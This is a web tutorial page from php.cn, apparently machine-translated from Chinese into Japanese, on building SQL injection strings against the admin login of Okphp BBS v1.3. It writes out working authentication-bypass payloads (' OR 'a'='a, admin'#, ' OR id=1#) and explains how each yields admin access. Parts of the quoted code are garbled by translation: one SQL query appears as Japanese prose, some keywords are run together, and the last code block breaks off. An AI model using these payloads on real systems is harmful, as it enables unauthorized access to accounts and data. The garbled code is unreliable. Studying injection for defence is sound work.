ホームページ > 类库下载 > PHP类库 > 攻撃方法: php+mysql インジェクション文構造についての話

攻撃方法: php+mysql インジェクション文構造についての話

高洛峰
リリース: 2016-10-14 10:16:18
オリジナル
1338 人が閲覧しました

1. 前書き:

バージョン情報: Okphp BBS v1.3 オープンソース版

ダウンロード アドレス: http://www.cncode.com/SoftView.asp?SoftID=1800

PHP と MYSQL 自体のせいで、PHP +MYSQL インジェクションは、特にインジェクション時のステートメントの構築が難しく、主に Okphp BBS v1.3 のいくつかのファイルの簡単な分析を使用して、php+mysql インジェクション ステートメントの構築方法について説明したいと思います。それはあなたの助けになるでしょう。

声明: 記事で言及されているすべての「脆弱性」はテストされておらず、まったく存在しない可能性があります。重要なのは、分析のアイデアと声明の構造です。

2. 「脆弱性」分析:

1. Admin/login.php インジェクションにより認証バイパスの脆弱性が発生:

コード:

$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);

$password = md5($password);

$q = "username='$username'、password='$password'である$user_tableからid,group_idを選択します";

$res = sql_query($q, $ conn);

$row = sql_fetch_row($res);

$q = "select id,group_id from $user_table where username='$username' and password='$password'" in

$username and $パスワードはフィルタリングされていないため、簡単にバイパスできます。

select * from $user_table where username='$username' andpassword='$password' のようなステートメントを変更するメソッドは次のとおりです:

構築 1 (論理演算を使用): $username=' OR 'a'=' a $ password=' OR 'a'='a

SQL ステートメントと同等:

Select * from $user_table where username='' OR 'a'='a' and passwd='' OR 'a'=' a'

構築 2 (mysql のコメント ステートメント # を使用し、$password をコメント アウトするには /*): $username=admin'#(または admin'/*)

つまり:

select * from $user_table where username = 'admin'#' と、password='$password'"

以下と同等:

select * from $user_table where username='admin'

admin/login.php の $q ステートメントの $password は、 query md5 暗号化は以前に実行されているため、構成 1 のステートメントではバイパスできません。ここでは構成 2 を使用します:

select id, group_id from $user_table where username='admin'#' and passwd='$password'"

同等:

select id, group_id from $user_table where username='admin'

これは、admin という名前のユーザーが存在する限り当てはまります。ユーザー名がわからない場合は、対応するものだけがわかります。 id,

次のように構築できます: $username=' OR id=1#

以下と同等:

select id,group_id from $user_table where username='' OR id=1# and password='$password ' (#以降はコメントアウトしています)

以下のコードを見てみましょう:

 if ($row[0]) {
  // If not admin or super moderator
  if ($username != "admin" && !eregi("(^|&)3($|&)",$row[1])) {
  $login = 0;
  }
  else {
  $login = 1;
  }
  }
  // Fail to login---------------
  if (!$login) {
  write_log("Moderator login","0","password wrong");
ログイン後にコピー

echo " 転載する場合は出典を明記してください: 攻撃方法: php+mysqlインジェクション文構造の話


ソース:php.cn
このウェブサイトの声明
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
人気のおすすめ
人気のチュートリアル
詳細>
最新のダウンロード
詳細>
ウェブエフェクト
公式サイト
サイト素材
フロントエンドテンプレート